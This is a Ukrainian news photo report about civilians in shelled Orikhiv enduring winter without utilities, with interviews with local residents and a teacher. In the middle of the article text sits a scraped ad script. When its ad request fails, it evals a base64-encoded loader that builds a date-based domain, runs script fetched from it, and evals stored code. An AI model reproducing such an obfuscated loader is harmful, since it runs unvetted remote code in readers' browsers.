Оріхів з перших днів вторгнення знаходиться на шляху ворога до Запоріжжя. У місті залишається близько 2-х тисяч людей, які живуть без електропостачання, газу та води. Зараз прийшли холоди і перед цими людьми виникли нові виклики.
Журналіст «Акцента» вкотре відвідав Оріхів. Цього разу ми приїхали до міста разом з польскими колегами, які доставили гуманітарну допомогу: генератор, теплий одяг, спальні мішки, їжу та смачне для тварин. Вчора ми опублікували інтерв’ю з журналісткою польского видання WPROST Кароліною Баца-Погожельскою, а сьогодні покажемо, як виглядає Оріхів та життя в місті, яке зруйновано на 70%.
Першою ми відвідали Марину Ковалевську, яка проживає в Оріхові з перших днів вторгнення. Жінка опікується близько 10-ма собаками і ще більшою кількістю котів. Передаємо необхідну допомогу і спілкуємося.
«Важка ситуація. Немає ні світла, ні газу, ні води. Головне, що трошки притихли і не так гепають. Я залишаюся, бо тут мій чоловік, який дивиться за фірмою хазяїна, і залишаюся я, бо у мене тварини. Ми не можемо виїхати. Сина з донькою ми відправили до Запоріжжя» — каже жінка.
Марина готується до зими в Оріхові. Вона каже, що якщо виїде до Запоріжжя, буде переживати за тварин. У рідному місті вона також допомагає тим, хто цього потребує.
«Будемо опалюватися. Знайшли вихід із ситуації — притягли буржуйку. Будем якось виживать. Допомагаємо людям: кому — вікно забить, кому — двері вставить. Це теж робота. Ми вже звикли, що небезпечно. І зараз гепають, але це далеко. Ми вже навчилися розпізнавати звуки. Мабуть, у нас вже немає нервової системи» — зізнається Марина.
Їдемо далі на одну з вулиць Оріхова, на якій залишається жити близько 40 людей. Вони згуртувалися і допомагають один одному у скрутній ситуації. Саме сюди журналістка Кароліна доставила потужний генератор та іншу допомогу.
Тут ми поспілкувалися з Наталією Клейн, вчителькою місцевого опорного закладу, яка навчає дітей дистанційно навіть у таких умовах. Жінка розповіла нам, на що їй доводиться йти, щоб продовжувати робити свою справу, та описала ситуацію у місті.
«Трішки стало легше у плані, що стало меньше прильотів. Було дуже важко. Бомбили з 9 ранку до 4 вечера без перестану. Ми зовсім не відходили від підвалів. Сказати, що ми голодаємо — ні. Хліб нам возять, воду почали давати. Міська рада гуманітарку дає. Трішки проблеми з миючим, але так все нормально. Почали записуватися на дрова. Багатьом роздали буржуйки. Я зрозуміла, що воєнний час нам для того, аби ми згуртувалися. Живемо як одна комуна. Разом вечеряємо, хтось приносить чай. Ми збираємося по 10-15 чоловік і отак сидимо, гомонимо. Ділимося усім, що в нас є». — розповідає Наталія.
Наталія Клейн
Попри те, що більшість людей ночують у підвалі, вони зберігають позитив і долають нові виклики. Наталія зізнається, її мрія — щоб Оріхів залишився домівкою для тих, хто виїхав з нього через війну.
«Розумієте, вдома — це вдома! Як би не було страшо, хочеться щоб Оріхів залишився домом для тих, хто виїхав, і вони повернулися. А наша місія — зустріти їх цілими і здоровими. Обов’язково, все буде добре. Хай буде мир, любов і добро» — каже жінка. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Наталія — вчителька за покликом серця. Вона каже, що шукає можливості, а не виправдання, тому їй вдається робити свою справу без електроенергії, а іноді і мобільного зв’язку. Заради цього доводиться навіть працювати ночами в інших неселених пунктах.
«Сьогодні я їзділа на ніч у Кірово (Таврійське) до бабусі і дідуся своєї колишньої учениці Насті Козловської. Вночі з суботи на неділю я там викладаю уроки через ноутбук на 3 дні, бо в мене він не робе без батареї. А через телефон я викладаю уроки тут. Якщо немає зв’язку, я підіймаюся на високий бак, шукаю зв’язок на городі. В середу я їжджу до Запоріжжя, там готую уроки на четвер і п’ятницю. В середу і четвер з дітками там проводжу уроки» — каже Наталія.
Жінка разом з сусідами опікується понад 50 тваринами. Готує їм їжу на вуличній пічці. У підвалі її будинку є буржуйка на пелетах. А у дворі — імпровізована шкільна дошка, яку вона використовувала у роботі.
Далі ми з колегами вирушили до центральної частини міста. Тут нам показали підвали, в яких людей вже не залишилося. Ми побачили нові руйнування. Оксана Ковалевська, яка разом з нами їздила до Оріхова, залишила на стінах свого підвалу молитву у день смерті свого сина Івана на фронті. Її історію ми запланували розповісти у наступних публікаціях.
Далі ми вирушили до інших підвалів, у яких живуть люди з кількох навколишніх багатововерхівок, про них раніше вже писав «Акцент». Тут оріхівці активно заготовляють дрова. Встановили вже другу буржуйку. Готують їжу і постійно удосконалюють сховище.
Нас разом з колегами місцевий депутат Любов Ярова запросила до напівзруйнованої будівлі міської ради. У багатьох кабінетах тут вибито скло, а на другому поверсі — зруйновано дах.
Більше фото Оріхова 
Матеріали «Акцента» про Оріхів під час війни:
Великий фоторепортаж з Оріхова: окупанти вчиняють тут геноцид з перших днів вторгнення (+ВІДЕО)Вижити у пеклі: фоторепортаж про людей, які залишаються в ОріховіЩодня — авіаудари, пошкоджено або зруйновано тисячі будинків: інтерв’ю з заступницею мера Оріхова (ВІДЕО)В Оріхові подружжя щодня рятує сотні життів під обстрілами: відео та фоторепортаж
Підготував Ігор Гур’єв
Підписуйтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/orihivtsi-zustrichayut-holodi-pid-postijnimi-obstrilami-bez-svitla-gazu-i-vodi-fotoreportazh/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
